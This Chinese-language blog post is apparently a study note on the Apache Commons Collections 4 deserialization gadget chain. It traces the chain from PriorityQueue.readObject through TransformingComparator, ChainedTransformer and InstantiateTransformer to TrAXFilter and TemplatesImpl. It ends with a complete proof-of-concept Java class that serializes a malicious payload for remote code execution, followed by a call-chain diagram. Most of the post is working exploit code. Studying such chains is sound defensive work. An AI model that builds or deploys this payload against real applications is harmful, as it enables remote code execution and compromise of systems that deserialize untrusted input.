Apache Commons Collections 4 因为 Commons Collections 4 除 4.0 的其他版本去掉了 InvokerTransformer 不再继承 Serializable,导致无法序列化。同时 CommonsCollections 4的版本 TransformingComparator 继承了 Serializable接口,而CommonsCollections 3里是没有的。这个就提供了一个攻击的路径。
执行命令 创建Runtime实例可以用TemplatesImpl类的defineClass方法,需要调用newTransformer()方法才能执行,因此需要寻找主动调用newTransformer()方法的类,
TrAXFilter TrAXFilter类的构造方法更好就可以调用newTransformer()方法
1 2 3 4 5 6 7 8 public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
只要创建TrAXFilter类即可调用
1 TrAXFilter trAXFilter = new TrAXFilter (templates);
但TrAXFilter不能被序列化,因此需要用到反射创建TrAXFilter对象
InstantiateTransformer类的transform方法刚好可以通过反射创建对象,且可以被序列化
1 2 3 4 5 6 7 8 public T transform (final Class<? extends T> input) { try { if (input == null ) { throw new FunctorException ( "InstantiateTransformer: Input object was not an instanceof Class, it was a null object" ); } final Constructor<? extends T > con = input.getConstructor(iParamTypes); return con.newInstance(iArgs);
1 2 InstantiateTransformer<Object> instantiateTransformer = new InstantiateTransformer <>(new Class []{Templates.class}, new Object []{templates}); instantiateTransformer.transform(TrAXFilter.class);
可以看到,需要调用transform方法,所以直接用ChainedTransformer类链式调用
1 2 3 4 5 6 Transformer[] transformers={ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}), };ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform(1 );
利用链 需要找到主动调用transform方法的类
TransformingComparator类的compare方法
1 2 3 4 5 public int compare (final I obj1, final I obj2) { final O value1 = this .transformer.transform(obj1); final O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
现在以此寻找调用compare方法的类
PriorityQueue.siftUpUsingComparator() 1 2 3 4 5 6 7 8 9 10 11 private void siftUpUsingComparator (int k, E x) { while (k > 0 ) { int parent = (k - 1 ) >>> 1 ; Object e = queue[parent]; if (comparator.compare(x, (E) e) >= 0 ) break ; queue[k] = e; k = parent; } queue[k] = x; }
PriorityQueue.siftDown() 1 2 3 4 5 6 private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
PriorityQueue.heapify() 1 2 3 4 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
PriorityQueue.readObject() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
最后在readObject()方法找到,完美符合反序列化
利用链细节 在heapify()方法里,有个for循环,只有进入循环才会继续调用
1 2 for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]);
进入循环需要size变量向右移1位大于等于1才行
size size是PriorityQueue类里队列的元素个数,通过add函数而添加,因此,只需要往队列里随便添加元素即可
1 2 priorityQueue.add(1 ); priorityQueue.add(2 );
反序列化执行
PriorityQueue 内部是一个最小堆 ,它在插入元素时 会调用 siftUp() 来维护堆序。
维护堆序需要比较元素的大小。
传了一个 TransformingComparator,它会在比较时调用 chainedTransformer.transform(...)。
ChainedTransformer 链里最终会去 new TrAXFilter(templates),而 templates 是你精心构造的恶意 TemplatesImpl 对象,所以在构造 TrAXFilter 时就会去调用 templates.newTransformer(),最终执行字节码里的命令。
需要在序列化时传一个无效对象,之后再通过反射修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Transformer[] transformers={ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}), };ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);TransformingComparator transformingComparator = new TransformingComparator <>(new ConstantTransformer (1 ));PriorityQueue priorityQueue = new PriorityQueue <>( transformingComparator); priorityQueue.add(1 ); priorityQueue.add(2 );Field transformer = TransformingComparator.class.getDeclaredField("transformer" ); transformer.setAccessible(true ); transformer.set(transformingComparator,chainedTransformer);
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 package cc4;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class cc4 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Field name = templates.getClass().getDeclaredField("_name" ); name.setAccessible(true ); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); Field tfactory = templates.getClass().getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); name.set(templates, "1" ); byte [] code = Files.readAllBytes(Paths.get("D:/Maven/project/Apache Commons Collections/cc4/src/main/java/cc4/Evil.class" )); byte [][] codes = {code}; bytecodes.set(templates,codes); tfactory.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers={ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator <>(new ConstantTransformer (1 )); PriorityQueue priorityQueue = new PriorityQueue <>( transformingComparator); priorityQueue.add(1 ); priorityQueue.add(2 ); Field transformer = TransformingComparator.class.getDeclaredField("transformer" ); transformer.setAccessible(true ); transformer.set(transformingComparator,chainedTransformer); serialize(priorityQueue); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("cc4.bin" )); oos.writeObject(obj); } public static void deserialize () throws Exception { ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("cc4.bin" )); Object o = ois.readObject(); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ObjectInputStream.readObject() └─> PriorityQueue.readObject() └─> PriorityQueue.heapify() └─> PriorityQueue.siftDown() └─> TransformingComparator.compare() └─> ChainedTransformer.transform() ├─> ConstantTransformer.transform() → 返回 TrAXFilter.class └─> InstantiateTransformer.transform() └─> new TrAXFilter (templates) └─> TrAXFilter.<init>(templates) └─> templates.newTransformer() └─> TemplatesImpl.defineClass() └─> 恶意类 static 代码块执行(RCE)